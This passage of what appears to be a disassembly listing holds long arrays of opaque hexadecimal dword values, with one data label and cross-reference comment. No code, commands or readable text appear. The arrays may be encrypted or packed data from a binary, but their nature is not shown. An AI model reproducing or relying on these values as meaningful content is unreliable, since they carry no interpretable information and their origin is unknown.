7BC6DD5Ah, 0F145630Bh dd 3F6F0549h, 0D5310282h, 0CA4728Eh, 1B202401h, 46DBF57h dd 0E937940Fh, 0EAB9D56Ch, 2CEEDF90h, 0F3157DB8h, 5B01033Ch dd 785F2505h, 1FC9D406h, 7E294027h, 0C107202Ch, 0C7644754h dd 0D5A13E7Dh, 31DBF13Bh, 6025D36Ch, 592C0FEh, 35F72480h dd 5F1E324Ch, 0BC40614Ah, 9616BA52h, 0FF782Ch, 0DE1D51A1h dd 0CB4A8716h, 40BDADE0h, 0E70781D9h, 5C5F6B8Ch, 307BCF60h dd 0F01C48C3h, 12E330Eh, 0AFFE31E4h, 0EED23FA6h, 4AC202Ch dd 29011113h, 83A3C1DEh, 0FB219BD3h, 0DE4CD249h, 7EF681B1h dd 0ED4217CCh, 0FA122EEAh, 7668640Fh, 4CCBCBABh, 0E95305A5h dd 32B3371Ah, 8622BE96h, 969F04Ch, 0F6519BB9h, 0B1E12505h dd 0B932AECh, 0F311D125h, 1B1ACC2Eh, 78D15817h, 0A9DC4D09h dd 0EF45019Eh, 0D82BCE30h, 0C05ED91Ch, 0CFF8ED39h, 406CD4E1h dd 1E455426h, 1CC7C926h, 7E583B91h, 303FFBA1h, 1FB8E2DCh dd 5393F2Ch, 0FAD8AF02h, 8F93FE9Ah, 44C236C7h, 0E470577Eh dd 485329B6h, 5E12E8AAh, 0C53CED8Fh, 19A18568h, 9639B26Bh dd 0FB5A5AECh, 0EC4EDB2Ah, 54B94ED0h, 0BFD801C4h, 33258344h dd 6DC2810Eh, 44D6D743h, 8819228h, 0CB62F95Fh, 0DF5B482Dh dd 0B2FA2807h, 2E55ACADh, 0B2F1463h, 100281C2h, 0BD585AA7h dd 78F3B2ECh, 0B753098Eh, 4DF8938h, 998106FEh, 0E8E38685h dd 69BBE950h, 817574DFh, 23DD0511h, 47785CF9h, 41B8E0A7h dd 0DCCA6A18h, 7B24072Dh, 5F757B02h, 0FF8B574Bh, 0AB3CAA48h dd 11ACAFD3h, 675B324Bh, 9E77B7Dh, 7F9A2D77h, 79C1EED6h dd 0E109011Bh, 4F302CC6h, 701052E8h, 0EBB70BE0h, 0EC750D30h dd 5F060EDFh, 0F807E62Ch, 12204A04h, 0CFAA507Fh, 0B3E52716h dd 2010519Eh, 3A1973C7h, 0A9C82BF0h, 0B73FA3C2h, 0F2AB0BB0h dd 37C5F5Eh, 1C1D62Fh, 5517D665h, 0B54FCFE9h, 7F7771ABh dd 0C6FE00CAh, 23EE2780h, 2E49CBF8h, 3CA04A24h, 0EBE67FD0h dd 17F6EA60h, 0CCF0880Fh, 7B7DE932h, 4B02EA99h, 603A0A4Ah dd 0BDF82685h, 24DCFE12h, 812DCADh, 7827D946h, 0BFB12059h dd 0EF205A12h, 1443E2CDh, 0F6B39FCDh, 62C2D30h, 2BB5A646h dd 0E9599877h, 81F49A4Dh, 6978EBDh, 22681610h, 2FD5C2C5h dd 0D2D36409h, 10C27794h, 0EF8BF41Fh, 0E7849854h, 819300C9h dd 3E88EFEBh, 5710DB0Ah, 77267EFBh, 68C14638h, 312A32AFh dd 33617C16h, 0C80AD4D4h, 0DD7625DEh, 6685DF25h, 0D6888007h dd 55C174Eh, 1D584C07h, 0CC3F8D09h, 25E02061h, 6DA3E6D1h dd 23DB4BDFh, 97600C3Ch, 1E13B31Bh, 0D51355A7h, 0C9B7F35Ah dd 0E10FFC3h, 0B8055047h, 749A1894h, 0D021D3FAh, 7A53E591h dd 0EDECEFB0h, 0A7715002h dd 31356840h, 8C7058FDh, 0FDDB5839h, 50B57690h, 0F6032775h dd 0EC7E05Eh, 0B9166AAEh, 626D3103h, 0E5F3B10Fh, 9FF54F1h dd 0FC5A6418h, 0FD0D9878h, 1887FE27h, 9A17FFE4h, 0BF4740BBh dd 0C8089603h, 0E2FD095Fh, 0A71F5EAEh, 0A290E578h, 8FD06552h dd 5844C954h, 685F126Fh, 49D0B45Ch, 9617B767h, 44BC9072h dd 629084h, 0E6813546h, 72545C3Bh, 101B209Fh, 909E1CCFh dd 185995DCh, 0B54C76ADh, 0DC520008h, 2D319F2Ch, 0A2630B00h dd 59EA052Bh, 17C1FDBh, 0F90728D0h, 0B2E91140h, 0E3C3C00Dh dd 21BB079Bh, 0AB0B1E90h, 85314946h, 6CAB6800h, 0B1586A1Ch dd 0F4FAF4E4h, 906B0957h, 53877D12h, 0BE2545F0h, 6E87E080h dd 0C14C12F9h, 2551DE1h, 24D9EDCEh, 0B1243B74h, 0A16B3B18h dd 0C5ADC05Fh, 2BF75645h, 19206892h, 0AFDC9F78h, 4EBE9056h dd 7949C896h, 0F7EE4AB2h, 406721FCh, 7581C767h, 0E57E46CCh dd 0E9080152h, 0B07B45B3h, 0CA418FEAh, 0ED87D360h, 0F2E7B42Bh dd 0A1CC4A4Bh, 8C771383h, 8F9AAD36h, 0F675581Fh, 92EC1753h dd 12D5F2BFh, 58A1D6E9h, 686E202Eh, 799D76F6h, 0C7B008D7h dd 0F62D022Ch, 72027117h, 63E9C4FAh, 555C47D2h, 0C3813079h dd 28F609A3h, 0BD49F130h, 2FF334A0h, 0E3B5113h, 0E4562D87h dd 0E40BD64Fh, 4D9652A9h, 0BD195327h, 0B99CF192h, 18C61795h dd 0AC20F991h, 0FED2F600h, 0A80C239h, 0AFD13009h, 0EF993C19h dd 0F9AC06C4h, 62CF7D8h, 1A4B490h, 0CA059EFAh, 1EC877BCh dd 70A26682h, 5D6D9D08h, 679F95A0h, 5990A7F1h, 81C04192h dd 294C74EBh, 0DA893E37h, 0FF4288AFh, 0D5746AFDh, 3730726Ch dd 1AB90A46h, 60992515h, 55FA4B78h, 0C4011C2Dh, 4A389884h dd 1B23247Fh, 0C5B904A9h, 0AA792001h, 8490A609h, 0E3C57789h dd 4748BE30h, 0B32B8D6h, 28B6E9CBh, 823FBB79h, 54E36A22h dd 8DA07D58h, 8DD69223h, 0AD1F4597h, 257D9B29h, 19908DA7h dd 0E630DB8h, 459517C5h, 40890B56h, 0E2531BD6h, 0E0A40989h dd 0ED13BEA2h, 0A44A61DEh, 2A5BE957h, 78BA9C03h, 0BC0BB329h dd 0FA8C2DBFh, 130ACC4Ah, 2E1E4298h, 9D4AD04h, 0D329B7FAh dd 6D3D15FDh, 0DEBE1A60h, 0FE5ED9F6h, 0A84E05ABh, 4E50B296h dd 6B5470B2h, 6BB341A7h, 0B2F35700h, 0B0CA4042h, 441B139Eh dd 0D0A61607h, 2AB0BFD6h, 784FEA27h, 7F343FD9h, 482816h dd 6660627Ah, 0F8EED0F7h, 73A52E12h, 0A1541104h, 72D90107h dd 5C597D64h, 43A21444h, 6535249Ch, 0E4C9F809h, 0BBA31A31h dd 0E784316Fh, 991B9D4Bh, 144222A5h, 0CEB90012h, 4B3AC91Eh dd 92C8DD29h, 0E6A3C01h, 0C02E0FE1h, 98CE816Bh, 50BC1F13h dd 0F613CCBFh, 3C39CC0Ah, 0C80DC413h, 47118FEh, 0B5B5FC3Ah dd 0CB18140Bh, 43088002h, 5F6FB82Dh, 38444CCh, 86590F55h dd 0C270Bh, 0B652722Ch, 1C68078h, 0F74C2DB0h, 0FCC3A60Bh dd 28EC9ED4h, 0D8612764h, 75729D7Ch, 59E91B98h, 0C8D56C54h dd 45EC0505h, 9A0472C1h, 0C21E58D2h, 1E3A61C5h, 704CECAh dd 30D8AE5Ah, 0F87D9AE0h, 939FDE5Dh, 6891C00Dh, 98B778C2h dd 609BDABh, 0BA742F2Eh, 91980B0Dh, 0E6C1F680h, 701A011Ch dd 2F8ED1D4h, 58A10771h, 22ABFDC5h, 5709101Ch, 0D8CCF06Eh dd 45EF7B76h, 0B0F28719h, 0C0502C22h, 69D008E8h, 540604E0h dd 5C09EFA4h, 582C6A5Eh, 0E10783A6h, 0C92A198Dh, 989860CFh dd 82983ABDh, 59CCE47Eh, 585797BDh, 0EB3161B4h, 0F61CC97h dd 3081A05h, 0D210EA32h, 685B0907h, 0B1E65F69h, 70B3F2A1h dd 6C0BC6BFh, 6D74AEEh, 0ED5DFAF1h, 7C23ED3Eh, 72344E25h dd 0F8055F44h, 1E68806Ch, 9B3BC518h, 712113A6h, 2BACE9AEh dd 4D45E304h, 0C6019AC2h, 786E0BD2h, 2300543Ch, 1A4763DCh dd 0FF2C9498h, 2F241057h, 64A40FBFh, 35005337h, 97E52699h dd 1089F9D1h, 1A0C4914h, 6630120Ch, 90CB2819h, 6791181Ch dd 83AE424Bh, 7615B62Fh, 0BCF89F1h, 55A0FC64h, 21804D47h dd 6BBD99D1h, 1ADF10DDh, 6225046Ah, 0FD0F4D68h, 2B22003h dd 0A71BF57h, 0C55C1EEBh, 97282D53h, 6F2808D3h, 7729B040h dd 0CAEC2CFAh, 0D601628Bh, 40E57340h, 9473D725h, 0E951098Ch dd 8C566EB7h, 97966440h, 0FB893C05h, 0C8F926FFh, 556D825Bh dd 8DF75A19h, 0DFC8D317h, 0BA20C0EAh, 7CE771A9h, 0D55A68F8h dd 99E0EFCh, 94F74B41h, 5B73F81Dh, 9F91E2D0h, 0D4576B12h dd 0DAB60EABh, 0D37C4E7Ah, 0D3A20209h, 0A07CA769h, 0A41F128Ah dd 679619BBh, 4180BA4Fh, 0C5285866h, 5109B252h, 5F72F280h dd 0F8C62202h, 3CCBECF2h, 0B61ECCB5h, 329E2C59h, 0D17FD66Fh dd 0FC30962Ah, 0B45001AAh, 0C58CE96Eh, 7C293E89h, 5F901A75h dd 61E5F6A9h, 45EC291Fh, 0B958A750h, 46F40315h, 9DDA2AD8h dd 5E97B758h, 85EF366h, 800376F0h, 5E4BF231h, 0AA1842A9h dd 0C2F55D84h, 20D07720h, 5B0FAFCDh, 24D8215Dh, 75BF61D7h dd 20761D95h, 87D7F70Bh, 1520FDF9h, 0CD6E4FC7h, 0B1006490h dd 2922F218h, 4E9FE9F9h, 0D6208C95h, 4501570Ah, 35A89131h dd 62ABFD5Eh, 67D4D9E6h, 708B7E2Dh, 0FB5A29E9h, 681D8EA6h dd 94F1E5FDh, 6E0C0B6Bh, 60F5F6FCh, 87F717D4h, 15504C25h dd 0F91284ABh, 28A8E648h, 8CF2912h, 4B16F2AEh, 27055BA0h dd 2580F702h, 4F5AD721h, 4E5F687Fh, 410C6A3h, 662924A1h dd 7171D60Ch, 0D3FB0FF1h, 0A4660774h, 0E57735D0h, 0CE9F7068h dd 67FFE107h, 0D5C2C02Eh, 0B53E0248h, 88137FAh, 0E4423A5Dh dd 7443E368h, 573C62ADh, 1317DE6Ch, 1904396Ch, 0C13D695h dd 641C3275h, 38956C1h, 0A3F4D6Fh, 0C08C2ABh, 359B1BE9h dd 669FB609h, 0A95DF9B4h, 6DD01F85h, 0D9215E26h, 0A83764C1h dd 31EC8253h, 0F86EE19Ah, 0D1BEF518h, 0AE0AD6h, 0E46239BAh dd 7BCCB56Fh, 2B0D34Fh, 61B8C142h, 600BF073h, 0C32C21C4h dd 0DD3E45C8h, 2F523B8Ch, 888F82D0h, 2D1AF54Ch, 0A6DBE8DFh dd 95F80C0h, 24D1D9B7h, 30988C3Bh, 0A997C6B5h, 61AD000Bh dd 9D233A10h, 9381B7F0h, 71162B4Ch, 25409380h, 6F3A09E5h dd 0CADD482Dh, 91334064h, 0C5B8CFAh, 5DD2E4FDh, 0AF2C93FBh dd 0FE685560h, 0AFA89114h, 7CC221D6h, 0B27C4CCh, 60CA6613h dd 1C68ED84h, 931E81D4h, 0FE7631EFh, 47827B5Fh, 0D52902E4h dd 29F4B961h, 0EEEB1B0Ah, 25EB6B2h, 7CA81318h, 6A65F931h dd 5100CEACh, 3E5C0E68h, 0B40D64Fh, 87760197h, 763F294Fh dd 0B4F1B0DAh, 0F43F8047h, 0EE5613F7h, 0AAD3DEB9h, 5B0C2Ah dd 384AB8E9h, 0AB9B7DA9h, 0B6DA0BCh, 5B58C688h, 3EDC8102h dd 76685D00h, 0FCB7A66Ch, 9B945E63h, 22E90A32h, 0D4A0ADF1h dd 0F70BB7ACh, 0D70D5F0Eh, 4C75446Ah, 0F7681302h, 54BE364h dd 33E9D088h, 5CB523FFh, 0D873E299h, 0F59CCCEAh, 8A4893Ah dd 428555D4h, 5EFBF066h, 2E68530Ah, 0E768EF5Fh, 0D614F909h dd 5D7237h, 1620D00Ch, 0D4BA3564h, 0E9FC070Bh, 293DE27Fh dd 82096D6h, 0D14911F8h, 7114971h, 6CB908B3h, 0F34B77D2h dd 8DBF80B3h, 0E9724101h, 92B7C725h, 4AAE0A94h, 0E42EF6ADh dd 29E2D213h, 0F8010CF6h, 487F5705h, 53242F70h, 0CA4BB3FAh dd 920D59B7h, 352B6310h, 0A0059FCFh, 0ADCC5457h, 0FA85B455h dd 5D702EC2h, 1718B805h, 10AF47E2h, 0CB09A118h, 4480777Eh dd 4ED19BC7h, 0E186DC5Eh, 3104BC44h, 0D06B0328h, 0B2F84765h dd 5F1368BEh, 0BE829FD9h dd 71D425EBh, 29D813C3h, 8BB7625Ah, 2D5C7C6Ah, 34699C22h dd 26FD0709h, 0B8AED9D9h, 81C08E5Ch, 0ECED7F32h, 23FF60E3h dd 0AD7C9DEDh, 93DA2789h, 48FCEAA8h, 7FB15148h, 0D1205492h dd 0D5F73995h, 42892DBDh, 0ECFF3BC3h, 0EDC11255h, 0E9F80302h dd 0EEEDD260h, 277F0087h, 54895321h, 5CB44066h, 1EC005D5h dd 0F4990E42h, 82CD4D29h, 0E3ED8F9Fh, 0ED4B0F65h, 950D0776h dd 2DB83C78h, 4836F160h, 12514E48h, 0AA167297h, 8065DA5h dd 0FD14821Ch, 6D51B230h, 1A8F3EE1h, 402EFB40h, 0EBBC5FFDh dd 4A0B0904h, 0C97AB81h, 27E82507h, 0A406D22Bh, 0D0BE5804h dd 86CD1116h, 2FC6760h, 0C0796F23h, 0D6624D0Ch, 0F14B010Ah dd 0D05D499h, 0F930D2EAh, 415F326Ah, 976A7B37h, 4FA0D2AAh dd 4796967Eh, 448830EAh, 0E34CA32Dh, 17E90BECh, 60C2DC32h dd 442B34C0h, 0FD295EC9h, 45BDA5C4h, 0AB48919h, 101F9E10h dd 43B17C4h, 9962E2BCh, 1F44C77Ch, 6EB6F212h, 0C0845EB8h dd 0B51080EFh, 0C5398055h, 25ED8718h, 4C8ECDFEh, 2DAF163Bh dd 9E5DEF28h, 0CF772FC6h, 82490F74h, 5F0B70A3h, 189BA918h dd 8BE41895h, 0F332D7DDh, 4F384935h, 40928CE6h, 0E6581B5Ch dd 0E724C145h, 35108605h, 2F9D0176h, 0E82940EDh, 0CB07472Dh dd 7CB4FBD4h, 71276FBh, 1755D1B0h, 0DD5CE039h, 5B7BA100h dd 0B34A9F2Dh, 0D8012427h, 7A20038h, 0E2812FA0h, 93058C05h dd 90EE4244h, 0CCAFDF71h, 0BF00D37Ch, 2D38E53Bh, 16DD127Ah dd 0A04BE949h, 721FB80Dh, 4800814Ch, 20057B0Dh, 6830E733h dd 89F817AEh, 2BD50BC6h, 1FF03EC4h, 0C50920B5h, 2727DB3Dh dd 0A277294Bh, 579D8944h, 68137C4Eh, 42603A5Eh, 9CB0D86h dd 0E839E975h, 814711F7h, 7138A7CCh, 0BA0CC018h, 0E91E714Fh dd 0BFCA832Ch, 0D98190C2h, 0DF870323h, 876D3F7h, 0E4723C5Ah dd 28D119C4h, 28250233h, 0E0579048h, 9B34EC0h, 0C6012694h dd 81C5C5FFh, 7CFB19D6h, 80F01229h, 950E6CC5h, 0DAF72767h dd 0E941F1F9h, 412B7BDDh, 81EFE7Fh, 7A44316Bh, 809CC7E0h dd 0BE98CD21h, 26E48A4Ah, 34B74BF6h, 5A8CEB60h, 0A9EB0380h dd 0B652C328h, 0DFC5FFACh, 0E9097F9Ah, 4A1A8C8h, 0E5F987D9h dd 0FBE2552Dh, 6643044h, 0C0596600h, 801F07EBh, 495F3AF3h dd 2D03DB6h, 21623558h, 0C5000BBDh, 9D3E3B31h, 73596CCh dd 84EE0610h, 5ACEEE5Ah, 0B0B8817h, 0E178C0FBh, 0BD554B01h dd 428A4675h, 0D601D270h, 3F13B12Bh, 0BF396D04h, 790BA2FEh dd 29F4A530h, 0DE412CD8h, 0C5C4CB86h, 602D6F66h, 54A85A88h dd 4C0187BAh, 2100B5D9h, 5337D34Ch, 81675BBh, 1B8044A5h dd 0B0357033h, 4C27012Fh, 43E92AADh, 5E47685h, 37B32897h dd 3422BBB0h, 0ACD62E36h, 0DA3503E5h, 0D1104219h, 3B84268Ah dd 0C25855F5h, 387C4148h, 16D1C150h, 0AB1BAF47h, 0DA18F3CFh dd 0B4C62F0Ch, 0F6EA3110h, 0E0D8F32Dh, 0BBA15E50h, 0DA23323Ah dd 0BD4FA6F8h, 0E90B4012h, 0CC976F4Bh, 9BE07D5h, 547C0155h dd 0D1D5C464h, 4EE80185h, 603DDA07h, 7AADE24Fh, 0FF2ED1E6h dd 0BA108530h, 263EFE73h, 2F49198Fh, 0F24CFC5Ah, 59AF1DF3h dd 0C79581BCh, 0D10920E2h, 6CB806Fh, 6F663E6Bh, 605A10A6h dd 2DF7C849h, 7CE65747h, 6C921D17h, 5F1B8501h, 813B4616h dd 0A7DC3581h, 63C0FC7Ah, 0E1025551h, 174B8EAh, 0CDE7804Eh dd 0B57FEC5Ch, 4502F4D0h, 0EDE909B7h, 0C868A9B8h, 0C4B9A968h dd 0E31A6858h, 9C6B7DA0h, 2BAEFD1Bh, 7C141560h, 0F80089EBh dd 0BE56405Fh, 149E9CCFh, 4CF0290Dh, 0E289D32Fh, 0A0FA477Dh dd 73767687h, 0BD6B9866h, 0E30311FAh, 5E2F03E2h, 0BB9CCCD1h dd 60105BCh, 0D5F8E902h, 0A2C7F240h, 0E662833Ah, 6F84C106h dd 0A5F39B8Eh, 0BE260805h, 21C79640h, 994E3A1Eh, 241169AAh dd 0F7176A1Eh, 5A89FDBDh, 7AF27656h, 892CB34Dh, 0A7F131F6h dd 3BCCF89Ch, 160CD023h, 16DCC4DBh, 2B0ACD87h, 0E53604CDh dd 4868E982h, 8EA0E575h, 0A05D5112h, 5A2EDB17h, 0CDB42C84h dd 0EB632EE9h, 0E4DEC221h, 4EE59CDFh, 935A4966h, 3442F48Bh dd 0A769F17Fh, 749E98F7h, 0EC6E9AB8h, 68E1A80Ch, 0AC471369h dd 115CE652h, 0A44F105Fh, 0E1412EF2h, 8C2B47F9h, 0D939883Ch dd 89CBBA53h, 685B871Ch, 813C937Ah, 0A9FC7B58h, 44F55C89h dd 0BD4B20F0h, 0D0EE8103h, 0D90BCD28h, 0F32B318Ch, 0F1A41058h dd 8D7F616h, 0B40BEB2Eh, 117F05BDh, 99270B8h, 0D429EA5Dh dd 0D8F7A280h, 0B00C70Dh, 342D0330h, 0F91B414Eh, 16A605FCh dd 0AB14F05Eh, 9CA83856h, 1275CB8h, 27487BF3h, 64A23C93h dd 4A0C9A08h, 182D0C74h, 20E33228h, 6681845Ch, 3029761h dd 0B2DB4181h, 3FA65EEEh, 56E02D8Fh, 3F5B05A3h, 16F086E4h dd 1EF00FDEh, 0DEDB4EE9h, 2040E8EEh, 0D6909F38h, 9892A0EEh dd 6866AC07h, 0C94B73C9h, 0C360B5BFh, 0F6831DC5h, 3DED4BDDh dd 9D68104h, 74335254h, 0A2669D8Eh, 0E36044F2h, 8652C12h dd 376658C2h, 7B0EB419h, 3A1D35E1h, 0BAD30CE9h, 0A84ACACAh dd 5A3C002Fh, 0C8BD667Ch, 998304A5h, 957F78E9h, 0C0FF847Fh dd 8E0BF781h, 0F6091E2Fh, 0ED40C9DEh, 0DE4E741Ah, 4E1214EDh dd 34056B5h, 0DA28F936h, 976B48D9h, 8CAF5C16h, 5006EE93h dd 0C228FAB0h, 0AEC33B32h, 0BEE9D304h, 30071373h, 0E41D7B19h dd 0C53E5831h, 80F0BBC5h, 0D328E9E9h, 0D30CB85Eh, 43C6971Eh dd 38C4F90Eh, 0EF1F75C1h, 0E14CBB41h, 4C290840h, 175F71F1h dd 52EA952h, 9E0C0836h, 542786BEh, 7F15BF01h, 5A577C05h dd 0D1A1AD3Ch, 0FA5C70E2h, 0B0DBF780h, 0FE2225C6h, 252EE391h dd 6FF0301Ch, 693A7504h, 0C484CE29h, 56590805h, 0AA09F585h dd 166CD7FFh, 6929DF4Ch, 0F1DF8BCh, 353F45A8h, 0AAF2127Dh dd 9979469Dh, 0C9DCA797h, 5A64F534h, 0F8BF84C9h, 2E41F40Fh dd 3BC89B2Ch, 0B7530074h, 90E78086h, 0F94B07E9h, 0C1AF86D5h dd 6B8F6E2Ch, 0E01A3EF3h, 0B95510DDh, 0D17825EFh, 33D1DEA1h dd 26A4D302h, 547E4007h, 6861209Eh, 0A32B35DFh, 0F1704EC8h dd 9A0149E9h, 58B825C1h, 8D4959F9h, 0A26A5D50h, 2981414h dd 363C81B8h, 5EED0339h, 0BA0C163Bh, 0A95B52DAh, 0F7E086A9h dd 6CDECD9h, 5A1CE449h, 86FEA4D1h, 0EE6D0317h, 415ED1B0h dd 38FC3A61h, 5B3F7CFh, 0BF380929h, 40404D9Ch, 2303B1B5h dd 28F8C280h, 0AAEAABCAh, 66C34359h, 6AE1D16h, 0DEB6FA5Fh dd 294A5A62h, 406172C6h, 0E2285728h, 0F8CE4ABAh, 0E1C5E1CAh dd 55E2DB81h, 0D8774935h, 371226CAh, 0E2011F07h, 153D675Ah dd 78C50C82h, 6C726AA0h, 1FB03F00h, 0E9D10199h, 7A8BC17h dd 329FE280h, 0A6036F2h, 0C3E0595Ah, 0ED88E930h, 0EE40Dh dd 25480CAEh, 265A42FCh, 47A02D05h, 389027DFh, 5E2ABB61h dd 56DDB3FEh, 5CB580Bh, 40F026F2h, 642C6EBh, 0E943071Eh dd 7C0609AFh, 0FEE9D8E8h, 115349h, 516684B6h, 0C4F6F188h dd 0D7F3A0CEh, 0B9AFBF7Dh, 0B493554Eh, 0FC5DB41Bh, 5352670Fh dd 0E383FEA3h, 0FA17A4B7h, 0B44E8861h, 4422B800h, 4857B507h dd 0D0709D0Dh, 7AE0C150h, 0F2BF0405h, 0BF6D417Bh, 3E5C3C14h dd 54DF141Ah, 46E800D1h, 0EAD17BC2h, 6569542h, 0B2778300h dd 663FE9B9h, 7116D901h, 4C090298h, 0D60AAC3Bh, 617840E8h dd 294AC648h, 6A07C1A9h, 92A11CA6h, 6AF959CBh, 68525185h dd 674E3781h, 0E2109B62h dd 575B00F4h, 1DA06855h, 0B9094ABEh, 38ED807Ah, 26F2CCFFh dd 39E7EF89h, 0AEC76787h, 0F4F7F6ADh, 1694216h, 0AC2BC0F1h dd 6A86B23Bh, 3005F665h, 699E8F56h, 8129C61h, 142A8DE9h dd 0CEF17236h, 0C5563245h, 95F4DAEBh, 0B52F4DB4h, 6AD8E15Eh dd 98FF9495h, 0DA412685h, 0E812893Fh, 6880281Fh, 453707B7h dd 70505B6Ch, 6BC0162Eh, 71355800h, 89AEBB4Dh, 136CF1C1h dd 9D032350h, 351FFC64h, 5112E547h, 0DC936AFh, 0E9CA870Bh dd 0B2E3A03Dh, 9FDAF64Fh, 97EA24A4h, 0BCC304B1h, 5854A044h dd 39BB053h, 674D4043h, 0B5B47BBh, 0B37FC5A1h, 76411367h dd 7C34F662h, 0F49C0D1Dh, 0C4787Ch, 0C028CE80h, 60F606E6h dd 0E90A10D6h, 3ECB21A4h, 0E207D209h, 5D0F3F6Ah, 0FFBC7217h dd 0A0047F21h, 90664860h, 7628ECBCh, 9F2E90F0h, 20B2067Bh dd 0A72DC1D4h, 0F17D8705h, 3FBF70C2h, 0CD3B52A1h dword_4E414C dd 0E1E50230h, 0A9EF8001h, 9FA0DA70h, 0D74824D2h, 0E50A5B5Ch ; DATA XREF: ___:off_42DE44o dd 4649725Eh, 0E472FB59h, 0BB686E25h, 2D02FDF6h, 368565Fh dd 7F214813h, 0B1D99F78h, 0CB2E2C42h, 0D5FCA5B6h, 509F0C20h dd 0DCA7816Ah, 974EFEB8h, 1FDF92BDh, 7762D2FEh, 64740997h dd 29152F0Fh, 0F96A8428h, 9D886809h, 43B860F3h, 54CC007h dd 0C4BD2569h, 5AD6F0AAh, 0A18EA93Eh, 0DD2FB202h, 5BE16096h dd 33C16695h, 0E3110565h, 66469205h, 90BF3DB5h, 863FAE16h dd 3A493A3Bh, 0F8905A11h, 4E060DE3h, 6867021Dh, 0E9010A6Eh dd 0DC2C2096h, 6ECB39C7h, 96775CEBh, 4CC7B089h, 0EF80B7D5h dd 5E975DD8h, 72C7293Ch, 69DD08A2h, 0F62B5CDBh, 0D7499A3Ch dd 5D213644h, 0CABD45h, 6FD705DEh, 2D045BBDh, 0B17D3672h dd 0EBD2B0EAh, 0E9F469B7h, 50946F31h, 0B026ED57h, 3075AF35h dd 0B7F2E0ADh, 5214ADA2h, 74E912D4h, 0A5454A97h, 22DD4BB2h dd 5CC88A41h, 2FEE8890h, 6CEFDA3Fh, 0A55AE9A8h, 6BEAF00h dd 0D3F69A7Ch, 0EF0F2014h, 0EC3D0E43h, 630BA545h, 0B0F7A916h dd 0B818FC2Bh, 0C7B9453h, 0D63CC383h, 1BC8E895h, 0A4189F1Eh dd 0C81CFEAAh, 0E85DD0F6h, 0E056C09Ch, 29ABA609h, 17F7F6F9h dd 0AB90AE55h, 241894B9h, 134710Ch, 137D9A92h, 8FEC3E01h dd 0F3E8B005h, 0F5D7822Bh, 0FDF98802h, 123CAAD1h, 7FA359CEh dd 3D5B4C77h, 965CF61Eh, 9198FA01h, 0DE445488h, 3ECAB0F9h dd 65BC4E2Ah, 2F9D8B4Bh, 45895F68h, 0A3FF9405h, 2DFF9624h dd 25B07A44h, 0CF2B9DF9h, 4092835Fh, 0BCE0DD02h, 2B9A3F8Fh dd 416D824Eh, 840F4BE2h, 0C295920h, 0ACE5B51h, 0D46883DDh dd 0E4895E63h, 0BD5E551Ch, 0C1BEC994h, 2EF53152h, 0D84AB8B8h dd 0EEBFC18Dh, 9CC2971Dh, 87C5D97Fh, 0ED866E9h, 2C556012h dd 0C8752870h, 664A59E8h, 932F9BE8h, 0B7538901h, 7DCFE408h dd 0CA05FE95h, 2848850Dh, 24F2EAC7h, 0F91CE290h, 0BACFD753h dd 1C8D3412h, 90EAC0DCh, 49692C21h, 4DBA42E7h, 8B9AE755h dd 694B81Ah, 643CFC9Fh, 2C31AAFBh, 0B6BB2E9h, 2D968F7Fh dd 80C3C22Dh, 0B97088AFh, 2C8B84Bh, 1A5C0777h, 58E0E2C1h dd 22413F2h, 0ED41A0C5h, 0E16C3B73h, 32253948h, 0AB9D37E6h dd 1704DF08h, 0A60112CEh, 79276DD3h, 128E272h, 588CA25Fh dd 0BF1E812Ch, 6FFF8241h, 613003Fh, 0B068B663h, 0BCF3474Ah dd 60164E48h, 1778CA34h, 4EA47868h, 2011416Ch, 65744697h dd 98A8D6B9h, 22391327h, 0D7270D3Bh, 0DA5B4394h, 31FB0A64h dd 80CBFC24h, 957DF3E5h, 5F316BA1h, 565128DEh, 1A3E809Fh dd 0B550D53Bh, 7023162h, 94DF95E9h, 5E99F6BEh, 0C09EACE6h dd 8255ABC2h, 568962Dh, 17AA50Bh, 8E4804DCh, 0B30C8253h dd 7F573C5Eh, 38784441h, 0D907D8Ah, 9532E60Bh, 6EE8879h dd 0A59FE90Bh, 0FCF15F0Ch, 0D20AF96Fh, 7DD7DB0Bh, 0E3C18013h dd 0E523929Eh, 95307F38h, 15D7B089h, 0FD3138A0h, 2E10F862h dd 0ACD3744h, 34B70116h, 0ECC7884Bh, 16C9A39Dh, 0E8BB03B5h dd 74381C59h, 1C55251Ch, 0ADEF206Dh, 312FE5B0h, 0B105FBC8h dd 6FF7866Eh, 572DDCA7h, 17B096F5h, 37C4F4E9h, 0AB36823Ch dd 8902CC45h, 0F55D5BDFh, 657FFB8Bh, 5561CC6Bh, 6574FF4Ah dd 0BDC71C2h, 0AC8102DDh, 541E9ADFh, 256F072Bh, 82D71B5Eh dd 0F7F4FDD6h, 0E0977366h, 0E17B8D51h, 0D776BD3Fh, 3CA245BDh dd 0F25A62DEh, 6915255Eh, 268D09F1h, 0BD3E452Fh, 38E202E1h dd 30D7319h, 0C8A112Ch, 2FC1FB7Dh, 0C5293880h, 566447E9h dd 0BCACD067h, 0C13B1h, 264670BEh, 0B2D197Ah, 97FA0772h dd 0A7493E04h, 3E814E43h, 76F0AA86h, 0EA895E55h, 10FB7314h dd 0B55AEF2Fh, 810880CDh, 944486C5h, 4AF3903Ch, 0C1E04BBBh dd 5390C00h, 0DC2451A5h, 5C6B002Ah, 0B0461705h, 0D23E2DF9h dd 0D0E873Ah, 44B76325h, 0FFBF8CF7h, 0C2E2F4EFh, 0B446D0Fh dd 480EF30Bh, 8210DA15h, 479CF408h, 0E8076554h, 0E3BD02EFh dd 7726100Dh, 0E205C570h, 1D26159h, 605CB503h, 0C4EBB4C2h dd 6D60FFACh, 0DD750CE9h, 468BBF79h, 0C7F625A3h, 6AAE3204h dd 0DA6E0DAFh, 34D72027h, 4B8AA40h, 39707D3h, 605FBB29h dd 75FC0D45h, 218071C4h, 13C1053Bh, 0E31BE961h, 1E52306Eh dd 904001F6h, 55EE2048h, 0FF985B5Ah, 5FD258B6h, 84B4FAF4h dd 4A5E0B50h, 4170F702h, 4F4E2F1Fh, 19092157h, 2C0A0746h dd 9B1F0505h, 64BBB53h, 8785FDD1h, 0F920FEDFh, 94E11D6h dd 55685F4Bh, 84E9AEE0h, 0D66D0BB5h, 198F20ACh, 0A2A634CDh dd 0BDD981D4h, 76C822FDh, 8B2DD13Ah, 11DD2BCDh, 66B41888h dd 0D2D29327h, 0D6286A97h, 6BA743F2h, 0F7D8EB2Dh, 0B50C3318h dd 0B3E4E913h, 0C45805F4h, 1F5EB4A9h, 0DBF6CB47h, 773C14E2h dd 0B8398798h, 525868C7h, 